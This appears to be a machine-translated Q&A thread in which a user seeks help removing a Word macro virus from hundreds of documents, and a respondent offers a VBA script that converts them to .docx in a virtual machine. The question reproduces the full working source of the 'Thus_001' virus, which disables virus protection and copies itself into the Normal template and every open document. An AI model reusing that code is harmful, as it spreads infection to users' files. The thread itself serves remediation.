2017-02-23 256 views
1

我正在尝试帮助有单词宏病毒的朋友。Word宏病毒

几乎每个his.doc文件都感染了病毒,我想在不删除word文件的情况下删除恶意宏。

由于我的朋友从不使用宏,我实际上可以删除他的系统上的所有宏。

我将如何去实现这项任务的自动化?

一个我所面对的问题是,我没有权限在这里打开受感染的文档文件时,宏病毒的代码删除maliscious宏:

Private Sub Document_Open() 
'Thus_001' 
On Error Resume Next 
Application.Options.VirusProtection = False 
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then 
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _ 
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _ 
    .CodeModule.CountOfLines 
End If 
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then 
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _ 
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _ 
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _ 
    .Item(1).CodeModule.CountOfLines) 
End If 
If NormalTemplate.Saved = False Then NormalTemplate.Save 
For k = 1 To Application.Documents.Count 
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then 
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _ 
     .CodeModule.DeleteLines 1, Application.Documents.Item(k) _ 
     .VBProject.VBComponents.Item(1).CodeModule.CountOfLines 
    End If 
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then 
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _ 
     .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _ 
     .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _ 
     .VBComponents.Item(1).CodeModule.CountOfLines) 
    End If 
Next k 
frm_Msg.Show 
End Sub 
Private Sub Document_Close() 
    Document_Open 
End Sub 
Private Sub Document_New() 
    Document_Open 
End Sub 
Private Sub Document_Save() 
    Document_Open 
End Sub 

这是在Mac上运行的10.6。 8字2004年

感谢

亚历

+1

您是否尝试用“application.enableevents = false”打开然后另存为docx? – Pierre

+0

对不起,你必须更具体有347个文件,所以我要去自动化解决方案... –

+0

已经过了十年了,所以我不记得,但不是第一次Office版本,您可以禁用对VB对象模型的编程访问? – Comintern

回答

1

做到这一点,最快捷的方法是将要使用Word的一个更现代的版本。我会做以下。创建虚拟机或创建可以回滚到的现有虚拟机的快照。将所有受感染的Word文件成一个目录,然后运行从Word文档这个宏:

'Add a reference to Microsoft Scripting Runtime. 
Public Sub ScrubMacros() 
    Application.DisplayAlerts = wdAlertsNone 
    With New Scripting.FileSystemObject 
     Dim targets As New Collection 
     Dim current As File 
     For Each current In .GetFolder("C:\Test").Files 
      If .GetExtensionName(current.Path) = "doc" Then 
       targets.Add current 
      End If 
     Next 
     Dim infected As Variant 
     For Each infected In targets 
      Dim doc As Document 
      Set doc = Documents.Open(infected.Path) 
      doc.SaveAs2 doc.FullName & "x", wdFormatXMLDocument 
      doc.Close wdDoNotSaveChanges 
     Next 
    End With 
    Application.DisplayAlerts = wdAlertsAll 
End Sub 

收集所有生成的.docx文件,并将其移动关闭虚拟机,然后回滚到快照或删除它。如果你需要保持与Word 2004的兼容性,你可以做几乎相同的事情来将它们转换回为该文件格式 - 只需调整文件扩展名并另存为格式即可。

+0

谢谢所以我猜我可以改变C:\测试*或“我的硬盘驱动器”,这将扫描我的系统中的所有文档文件? –

+0

@AlexandreBabeanu - 不完全。这不会“扫描”任何东西。 “C:\ Test”只是包含所有文件的文件夹的占位符。如果你需要扫描整个文件系统来找到它们,那么[示例代码在这里](http://stackoverflow.com/documentation/vba/990/scripting-filesystemobject/10411/recursively-enumerate-folders-and-files#t = 201702231745019256073)。 – Comintern

+0

好的,谢谢,我会尽力,并让你张贴! –